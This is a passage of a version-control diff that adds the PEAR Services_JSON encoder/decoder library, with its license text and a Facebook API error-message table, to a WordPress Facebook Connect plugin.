+      self::API_EC_PARAM_SIGNATURE   => 'Incorrect signature',
+      self::API_EC_PARAM_USER_ID     => 'Invalid user id',
+      self::API_EC_PARAM_USER_FIELD  => 'Invalid user info field',
+      self::API_EC_PARAM_SOCIAL_FIELD => 'Invalid user field',
+      self::API_EC_PARAM_ALBUM_ID    => 'Invalid album id',
+      self::API_EC_PARAM_BAD_EID     => 'Invalid eid',
+      self::API_EC_PARAM_UNKNOWN_CITY => 'Unknown city',
+      self::API_EC_PERMISSION        => 'Permissions error',
+      self::API_EC_PERMISSION_USER   => 'User not visible',
+      self::API_EC_PERMISSION_ALBUM  => 'Album not visible',
+      self::API_EC_PERMISSION_PHOTO  => 'Photo not visible',
+      self::API_EC_PERMISSION_EVENT  => 'Creating and modifying events required the extended permission create_event',
+      self::API_EC_PERMISSION_RSVP_EVENT => 'RSVPing to events required the extended permission rsvp_event',
+      self::API_EC_EDIT_ALBUM_SIZE   => 'Album is full',
+      self::FQL_EC_PARSER            => 'FQL: Parser Error',
+      self::FQL_EC_UNKNOWN_FIELD     => 'FQL: Unknown Field',
+      self::FQL_EC_UNKNOWN_TABLE     => 'FQL: Unknown Table',
+      self::FQL_EC_NOT_INDEXABLE     => 'FQL: Statement not indexable',
+      self::FQL_EC_UNKNOWN_FUNCTION  => 'FQL: Attempted to call unknown function',
+      self::FQL_EC_INVALID_PARAM     => 'FQL: Invalid parameter passed in',
+      self::API_EC_DATA_UNKNOWN_ERROR => 'Unknown data store API error',
+      self::API_EC_DATA_INVALID_OPERATION => 'Invalid operation',
+      self::API_EC_DATA_QUOTA_EXCEEDED => 'Data store allowable quota was exceeded',
+      self::API_EC_DATA_OBJECT_NOT_FOUND => 'Specified object cannot be found',
+      self::API_EC_DATA_OBJECT_ALREADY_EXISTS => 'Specified object already exists',
+      self::API_EC_DATA_DATABASE_ERROR => 'A database error occurred. Please try again',
+      self::API_EC_BATCH_ALREADY_STARTED => 'begin_batch already called, please make sure to call end_batch first',
+      self::API_EC_BATCH_NOT_STARTED => 'end_batch called before begin_batch',
+      self::API_EC_BATCH_METHOD_NOT_ALLOWED_IN_BATCH_MODE => 'This method is not allowed in batch mode'
+  );
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/jsonwrapper/JSON/JSON.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/jsonwrapper/JSON/JSON.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/jsonwrapper/JSON/JSON.php	(revision 44)
@@ -0,0 +1,806 @@
+<?php
+/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
+
+/**
+ * Converts to and from JSON format.
+ *
+ * JSON (JavaScript Object Notation) is a lightweight data-interchange
+ * format. It is easy for humans to read and write. It is easy for machines
+ * to parse and generate. It is based on a subset of the JavaScript
+ * Programming Language, Standard ECMA-262 3rd Edition - December 1999.
+ * This feature can also be found in  Python. JSON is a text format that is
+ * completely language independent but uses conventions that are familiar
+ * to programmers of the C-family of languages, including C, C++, C#, Java,
+ * JavaScript, Perl, TCL, and many others. These properties make JSON an
+ * ideal data-interchange language.
+ *
+ * This package provides a simple encoder and decoder for JSON notation. It
+ * is intended for use with client-side Javascript applications that make
+ * use of HTTPRequest to perform server communication functions - data can
+ * be encoded into JSON notation for use in a client-side javascript, or
+ * decoded from incoming Javascript requests. JSON format is native to
+ * Javascript, and can be directly eval()'ed with no further parsing
+ * overhead
+ *
+ * All strings should be in ASCII or UTF-8 format!
+ *
+ * LICENSE: Redistribution and use in source and binary forms, with or
+ * without modification, are permitted provided that the following
+ * conditions are met: Redistributions of source code must retain the
+ * above copyright notice, this list of conditions and the following
+ * disclaimer. Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN
+ * NO EVENT SHALL CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+ * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
+ * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+ * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
+ * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
+ * DAMAGE.
+ *
+ * @category
+ * @package     Services_JSON
+ * @author      Michal Migurski <mike-json@teczno.com>
+ * @author      Matt Knapp <mdknapp[at]gmail[dot]com>
+ * @author      Brett Stimmerman <brettstimmerman[at]gmail[dot]com>
+ * @copyright   2005 Michal Migurski
+ * @version     CVS: $Id: JSON.php,v 1.31 2006/06/28 05:54:17 migurski Exp $
+ * @license     http://www.opensource.org/licenses/bsd-license.php
+ * @link        http://pear.php.net/pepr/pepr-proposal-show.php?id=198
+ */
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_SLICE',   1);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_STR',  2);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_ARR',  3);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_OBJ',  4);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_CMT', 5);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_LOOSE_TYPE', 16);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_SUPPRESS_ERRORS', 32);
+
+/**
+ * Converts to and from JSON format.
+ *
+ * Brief example of use:
+ *
+ * <code>
+ * // create a new instance of Services_JSON
+ * $json = new Services_JSON();
+ *
+ * // convert a complexe value to JSON notation, and send it to the browser
+ * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4)));
+ * $output = $json->encode($value);
+ *
+ * print($output);
+ * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]]
+ *
+ * // accept incoming POST data, assumed to be in JSON notation
+ * $input = file_get_contents('php://input', 1000000);
+ * $value = $json->decode($input);
+ * </code>
+ */
+class Services_JSON
+{
+   /**
+    * constructs a new JSON instance
+    *
+    * @param    int     $use    object behavior flags; combine with boolean-OR
+    *
+    *                           possible values:
+    *                           - SERVICES_JSON_LOOSE_TYPE:  loose typing.
+    *                                   "{...}" syntax creates associative arrays
+    *                                   instead of objects in decode().
+    *                           - SERVICES_JSON_SUPPRESS_ERRORS:  error suppression.
+    *                                   Values which can't be encoded (e.g. resources)
+    *                                   appear as NULL instead of throwing errors.
+    *                                   By default, a deeply-nested resource will
+    *                                   bubble up with an error, so all return values
+    *                                   from encode() should be checked with isError()
+    */
+    function Services_JSON($use = 0)
+    {
+        $this->use = $use;
+    }
+
+   /**
+    * convert a string from one UTF-16 char to one UTF-8 char
+    *
+    * Normally should be handled by mb_convert_encoding, but
+    * provides a slower PHP-only method for installations
+    * that lack the multibye string extension.
+    *
+    * @param    string  $utf16  UTF-16 character
+    * @return   string  UTF-8 character
+    * @access   private
+    */
+    function utf162utf8($utf16)
+    {
+        // oh please oh please oh please oh please oh please
+        if(function_exists('mb_convert_encoding')) {
+            return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16');
+        }
+
+        $bytes = (ord($utf16{0}) << 8) | ord($utf16{1});
+
+        switch(true) {
+            case ((0x7F & $bytes) == $bytes):
+                // this case should never be reached, because we are in ASCII range
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0x7F & $bytes);
+
+            case (0x07FF & $bytes) == $bytes:
+                // return a 2-byte UTF-8 character
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0xC0 | (($bytes >> 6) & 0x1F))
+                     . chr(0x80 | ($bytes & 0x3F));
+
+            case (0xFFFF & $bytes) == $bytes:
+                // return a 3-byte UTF-8 character
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0xE0 | (($bytes >> 12) & 0x0F))
+                     . chr(0x80 | (($bytes >> 6) & 0x3F))
+                     . chr(0x80 | ($bytes & 0x3F));
+        }
+
+        // ignoring UTF-32 for now, sorry
+        return '';
+    }
+
+   /**
+    * convert a string from one UTF-8 char to one UTF-16 char
+    *
+    * Normally should be handled by mb_convert_encoding, but
+    * provides a slower PHP-only method for installations
+    * that lack the multibye string extension.
+    *
+    * @param    string  $utf8   UTF-8 character
+    * @return   string  UTF-16 character
+    * @access   private
+    */
+    function utf82utf16($utf8)
+    {
+        // oh please oh please oh please oh please oh please
+        if(function_exists('mb_convert_encoding')) {
+            return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');
+        }
+
+        switch(strlen($utf8)) {
+            case 1:
+                // this case should never be reached, because we are in ASCII range
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return $utf8;
+
+            case 2:
+                // return a UTF-16 character from a 2-byte UTF-8 char
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0x07 & (ord($utf8{0}) >> 2))
+                     . chr((0xC0 & (ord($utf8{0}) << 6))
+                         | (0x3F & ord($utf8{1})));
+
+            case 3:
+                // return a UTF-16 character from a 3-byte UTF-8 char
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr((0xF0 & (ord($utf8{0}) << 4))
+                         | (0x0F & (ord($utf8{1}) >> 2)))
+                     . chr((0xC0 & (ord($utf8{1}) << 6))
+                         | (0x7F & ord($utf8{2})));
+        }
+
+        // ignoring UTF-32 for now, sorry
+        return '';
+    }
+
+   /**
+    * encodes an arbitrary variable into JSON format
+    *
+    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
+    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
+    *                           if var is a strng, note that encode() always expects it
+    *                           to be in ASCII or UTF-8 format!
+    *
+    * @return   mixed   JSON string representation of input var or an error if a problem occurs
+    * @access   public
+    */
+    function encode($var)
+    {
+        switch (gettype($var)) {
+            case 'boolean':
+                return $var ? 'true' : 'false';
+
+            case 'NULL':
+                return 'null';
+
+            case 'integer':
+                return (int) $var;
+
+            case 'double':
+            case 'float':
+                return (float) $var;
+
+            case 'string':
+                // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT
+                $ascii = '';
+                $strlen_var = strlen($var);
+
+               /*
+                * Iterate over every character in the string,
+                * escaping with a slash or encoding to UTF-8 where necessary
+                */
+                for ($c = 0; $c < $strlen_var; ++$c) {
+
+                    $ord_var_c = ord($var{$c});
+
+                    switch (true) {
+                        case $ord_var_c == 0x08:
+                            $ascii .= '\b';
+                            break;
+                        case $ord_var_c == 0x09:
+                            $ascii .= '\t';
+                            break;
+                        case $ord_var_c == 0x0A:
+                            $ascii .= '\n';
+                            break;
+                        case $ord_var_c == 0x0C:
+                            $ascii .= '\f';
+                            break;
+                        case $ord_var_c == 0x0D:
+                            $ascii .= '\r';
+                            break;
+
+                        case $ord_var_c == 0x22:
+                        case $ord_var_c == 0x2F:
+                        case $ord_var_c == 0x5C:
+                            // double quote, slash, slosh
+                            $ascii .= '\\'.$var{$c};
+                            break;
+
+                        case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)):
+                            // characters U-00000000 - U-0000007F (same as ASCII)
+                            $ascii .= $var{$c};
+                            break;
+
+                        case (($ord_var_c & 0xE0) == 0xC0):
+                            // characters U-00000080 - U-000007FF, mask 110XXXXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c, ord($var{$c + 1}));
+                            $c += 1;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xF0) == 0xE0):
+                            // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}));
+                            $c += 2;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xF8) == 0xF0):
+                            // characters U-00010000 - U-001FFFFF, mask 11110XXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}));
+                            $c += 3;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xFC) == 0xF8):
+                            // characters U-00200000 - U-03FFFFFF, mask 111110XX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}),
+                                         ord($var{$c + 4}));
+                            $c += 4;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xFE) == 0xFC):
+                            // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}),
+                                         ord($var{$c + 4}),
+                                         ord($var{$c + 5}));
+                            $c += 5;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+                    }
+                }
+
+                return '"'.$ascii.'"';
+
+            case 'array':
+               /*
+                * As per JSON spec if any array key is not an integer
+                * we must treat the the whole array as an object. We
+                * also try to catch a sparsely populated associative
+                * array with numeric keys here because some JS engines
+                * will create an array with empty indexes up to
+                * max_index which can cause memory issues and because
+                * the keys, which may be relevant, will be remapped
+                * otherwise.
+                *
+                * As per the ECMA and JSON specification an object may
+                * have any string as a property. Unfortunately due to
+                * a hole in the ECMA specification if the key is a
+                * ECMA reserved word or starts with a digit the
+                * parameter is only accessible using ECMAScript's
+                * bracket notation.
+                */
+
+                // treat as a JSON object
+                if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) {
+                    $properties = array_map(array($this, 'name_value'),
+                                            array_keys($var),
+                                            array_values($var));
+
+                    foreach($properties as $property) {
+                        if(Services_JSON::isError($property)) {
+                            return $property;
+                        }
+                    }
+
+                    return '{' . join(',', $properties) . '}';
+                }
+
+                // treat it like a regular array
+                $elements = array_map(array($this, 'encode'), $var);
+
+                foreach($elements as $element) {
+                    if(Services_JSON::isError($element)) {
+                        return $element;
+                    }
+                }
+
+                return '[' . join(',', $elements) . ']';
+
+            case 'object':
+                $vars = get_object_vars($var);
+
+                $properties = array_map(array($this, 'name_value'),
+                                        array_keys($vars),
+                                        array_values($vars));
+
+                foreach($properties as $property) {
+                    if(Services_JSON::isError($property)) {
+                        return $property;
+                    }
+                }
+
+                return '{' . join(',', $properties) . '}';
+
+            default:
+                return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS)
+                    ? 'null'
+                    : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string");
+        }
+    }
+
+   /**
+    * array-walking function for use in generating JSON-formatted name-value pairs
+    *
+    * @param    string  $name   name of key to use
+    * @param    mixed   $value  reference to an array element to be encoded
+    *
+    * @return   string  JSON-formatted name-value pair, like '"name":value'
+    * @access   private
+    */
+    function name_value($name, $value)
+    {
+        $encoded_value = $this->encode($value);
+
+        if(Services_JSON::isError($encoded_value)) {
+            return $encoded_value;
+        }
+
+        return $this->encode(strval($name)) . ':' . $encoded_value;
+    }
+
+   /**
+    * reduce a string by removing leading and trailing comments and whitespace
+    *
+    * @param    $str    string      string value to strip of comments and whitespace
+    *
+    * @return   string  string value stripped of comments and whitespace
+    * @access   private
+    */
+    function reduce_string($str)
+    {
+        $str = preg_replace(array(
+
+                // eliminate single line comments in '// ...' form
+                '#^\s*//(.+)$#m',
+
+                // eliminate multi-line comments in '/* ... */' form, at start of string
+                '#^\s*/\*(.+)\*/#Us',
+
+                // eliminate multi-line comments in '/* ... */' form, at end of string
+                '#/\*(.+)\*/\s*$#Us'
+
+            ), '', $str);
+
+        // eliminate extraneous space
+        return trim($str);
+    }
+
+   /**
+    * decodes a JSON string into appropriate variable
+    *
+    * @param    string  $str    JSON-formatted string
+    *
+    * @return   mixed   number, boolean, string, array, or object
+    *                   corresponding to given JSON input string.
+    *                   See argument 1 to Services_JSON() above for object-output behavior.
+    *                   Note that decode() always returns strings
+    *                   in ASCII or UTF-8 format!
+    * @access   public
+    */
+    function decode($str)
+    {
+        $str = $this->reduce_string($str);
+
+        switch (strtolower($str)) {
+            case 'true':
+                return true;
+
+            case 'false':
+                return false;
+
+            case 'null':
+                return null;
+
+            default:
+                $m = array();
+
+                if (is_numeric($str)) {
+                    // Lookie-loo, it's a number
+
+                    // This would work on its own, but I'm trying to be
+                    // good about returning integers where appropriate:
+                    // return (float)$str;
+
+                    // Return float or int, as appropriate
+                    return ((float)$str == (integer)$str)
+                        ? (integer)$str
+                        : (float)$str;
+
+                } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) {
+                    // STRINGS RETURNED IN UTF-8 FORMAT
+                    $delim = substr($str, 0, 1);
+                    $chrs = substr($str, 1, -1);
+                    $utf8 = '';
+                    $strlen_chrs = strlen($chrs);
+
+                    for ($c = 0; $c < $strlen_chrs; ++$c) {
+
+                        $substr_chrs_c_2 = substr($chrs, $c, 2);
+                        $ord_chrs_c = ord($chrs{$c});
+
+                        switch (true) {
+                            case $substr_chrs_c_2 == '\b':
+                                $utf8 .= chr(0x08);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\t':
+                                $utf8 .= chr(0x09);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\n':
+                                $utf8 .= chr(0x0A);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\f':
+                                $utf8 .= chr(0x0C);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\r':
+                                $utf8 .= chr(0x0D);
+                                ++$c;
+                                break;
+
+                            case $substr_chrs_c_2 == '\\"':
+                            case $substr_chrs_c_2 == '\\\'':
+                            case $substr_chrs_c_2 == '\\\\':
+                            case $substr_chrs_c_2 == '\\/':
+                                if (($delim == '"' && $substr_chrs_c_2 != '\\\'') ||
+                                   ($delim == "'" && $substr_chrs_c_2 != '\\"')) {
+                                    $utf8 .= $chrs{++$c};
+                                }
+                                break;
+
+                            case preg_match('/\\\u[0-9A-F]{4}/i', substr($chrs, $c, 6)):
+                                // single, escaped unicode character
+                                $utf16 = chr(hexdec(substr($chrs, ($c + 2), 2)))
+                                       . chr(hexdec(substr($chrs, ($c + 4), 2)));
+                                $utf8 .= $this->utf162utf8($utf16);
+                                $c += 5;
+                                break;
+
+                            case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F):
+                                $utf8 .= $chrs{$c};
+                                break;
+
+                            case ($ord_chrs_c & 0xE0) == 0xC0:
+                                // characters U-00000080 - U-000007FF, mask 110XXXXX
+                                //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 2);
+                                ++$c;
+                                break;
+
+                            case ($ord_chrs_c & 0xF0) == 0xE0:
+                                // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 3);
+                                $c += 2;
+                                break;
+
+                            case ($ord_chrs_c & 0xF8) == 0xF0:
+                                // characters U-00010000 - U-001FFFFF, mask 11110XXX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 4);
+                                $c += 3;
+                                break;
+
+                            case ($ord_chrs_c & 0xFC) == 0xF8:
+                                // characters U-00200000 - U-03FFFFFF, mask 111110XX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 5);
+                                $c += 4;
+                                break;
+
+                            case ($ord_chrs_c & 0xFE) == 0xFC:
+                                // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 6);
+                                $c += 5;
+                                break;
+
+                        }
+
+                    }
+
+                    return $utf8;
+
+                } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) {
+                    // array, or object notation
+
+                    if ($str{0} == '[') {
+                        $stk = array(SERVICES_JSON_IN_ARR);
+                        $arr = array();
+                    } else {
+                        if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                            $stk = array(SERVICES_JSON_IN_OBJ);
+                            $obj = array();
+                        } else {
+                            $stk = array(SERVICES_JSON_IN_OBJ);
+                            $obj = new stdClass();
+                        }
+                    }
+
+                    array_push($stk, array('what'  => SERVICES_JSON_SLICE,
+                                           'where' => 0,
+                                           'delim' => false));
+
+                    $chrs = substr($str, 1, -1);
+                    $chrs = $this->reduce_string($chrs);
+
+                    if ($chrs == '') {
+                        if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                            return $arr;
+
+                        } else {
+                            return $obj;
+
+                        }
+                    }
+
+                    //print("\nparsing {$chrs}\n");
+
+                    $strlen_chrs = strlen($chrs);
+
+                    for ($c = 0; $c <= $strlen_chrs; ++$c) {
+
+                        $top = end($stk);
+                        $substr_chrs_c_2 = substr($chrs, $c, 2);
+
+                        if (($c == $strlen_chrs) || (($chrs{$c} == ',') && ($top['what'] == SERVICES_JSON_SLICE))) {
+                            // found a comma that is not inside a string, array, etc.,
+                            // OR we've reached the end of the character list
+                            $slice = substr($chrs, $top['where'], ($c - $top['where']));
+                            array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false));
+                            //print("Found split at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                            if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                                // we are in an array, so just push an element onto the stack
+                                array_push($arr, $this->decode($slice));
+
+                            } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
+                                // we are in an object, so figure
+                                // out the property name and set an
+                                // element in an associative array,
+                                // for now
+                                $parts = array();
+                                
+                                if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:\s*(\S.*),?$/Uis', $slice, $parts)) {
+                                    // "name":value pair
+                                    $key = $this->decode($parts[1]);
+                                    $val = $this->decode($parts[2]);
+
+                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                                        $obj[$key] = $val;
+                                    } else {
+                                        $obj->$key = $val;
+                                    }
+                                } elseif (preg_match('/^\s*(\w+)\s*:\s*(\S.*),?$/Uis', $slice, $parts)) {
+                                    // name:value pair, where name is unquoted
+                                    $key = $parts[1];
+                                    $val = $this->decode($parts[2]);
+
+                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                                        $obj[$key] = $val;
+                                    } else {
+                                        $obj->$key = $val;
+                                    }
+                                }
+
+                            }
+
+                        } elseif ((($chrs{$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) {
+                            // found a quote, and we are not inside a string
+                            array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c}));
+                            //print("Found start of string at {$c}\n");
+
+                        } elseif (($chrs{$c} == $top['delim']) &&
+                                 ($top['what'] == SERVICES_JSON_IN_STR) &&
+                                 ((strlen(substr($chrs, 0, $c)) - strlen(rtrim(substr($chrs, 0, $c), '\\'))) % 2 != 1)) {
+                            // found a quote, we're in a string, and it's not escaped
+                            // we know that it's not escaped becase there is _not_ an
+                            // odd number of backslashes at the end of the string so far
+                            array_pop($stk);
+                            //print("Found end of string at {$c}: ".substr($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n");
+
+                        } elseif (($chrs{$c} == '[') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a left-bracket, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false));
+                            //print("Found start of array at {$c}\n");
+
+                        } elseif (($chrs{$c} == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) {
+                            // found a right-bracket, and we're in an array
+                            array_pop($stk);
+                            //print("Found end of array at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        } elseif (($chrs{$c} == '{') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a left-brace, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false));
+                            //print("Found start of object at {$c}\n");
+
+                        } elseif (($chrs{$c} == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) {
+                            // found a right-brace, and we're in an object
+                            array_pop($stk);
+                            //print("Found end of object at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        } elseif (($substr_chrs_c_2 == '/*') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a comment start, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false));
+                            $c++;
+                            //print("Found start of comment at {$c}\n");
+
+                        } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) {
+                            // found a comment end, and we're in one now
+                            array_pop($stk);
+                            $c++;
+
+                            for ($i = $top['where']; $i <= $c; ++$i)
+                                $chrs = substr_replace($chrs, ' ', $i, 1);
+
+                            //print("Found end of comment at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        }
+
+                    }
+
+                    if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                        return $arr;
+
+                    } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
+                        return $obj;
+
+                    }
+
+                }
+        }
+    }
+
+    /**
+     * @todo Ultimately, this should just call PEAR::isError()
+     */
+    function isError($data, $code = null)
+    {
+        if (class_exists('pear')) {
+            return PEAR::isError($data, $code);
+        } elseif (is_object($data) && (get_class($data) == 'services_json_error' ||
+                                 is_subclass_of($data, 'services_json_error'))) {
+            return true;
+        }
+
+        return false;
+    }
+}
+
+if (class_exists('PEAR_Error')) {
+
+    class Services_JSON_Error extends PEAR_Error
+    {
+        function Services_JSON_Error($message = 'unknown error', $code = null,
+                                     $mode = null, $options = null, $userinfo = null)
+        {
+            parent::PEAR_Error($message, $code, $mode, $options, $userinfo);
+        }
+    }
+
+} else {
+
+    /**
+     * @todo Ultimately, this class shall be descended from PEAR_Error
+     */
+    class Services_JSON_Error
+    {
+        function Services_JSON_Error($message = 'unknown error', $code = null,
+                                     $mode = null, $options = null, $userinfo = null)
+        {
+
+        }
+    }
+
+}
+    
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/jsonwrapper/JSON/LICENSE
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/jsonwrapper/JSON/LICENSE	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/jsonwrapper/JSON/LICENSE	(revision 44)
@@ -0,0 +1,21 @@
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+Redistributions of source code must retain the above copyright notice,
+this list of conditions and the following disclaimer.
+
+Redistributions in binary form must reproduce the above copyright
+notice, this list of conditions and the following disclaimer in the
+documentation and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
+WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN
+NO EVENT SHALL CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
+USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
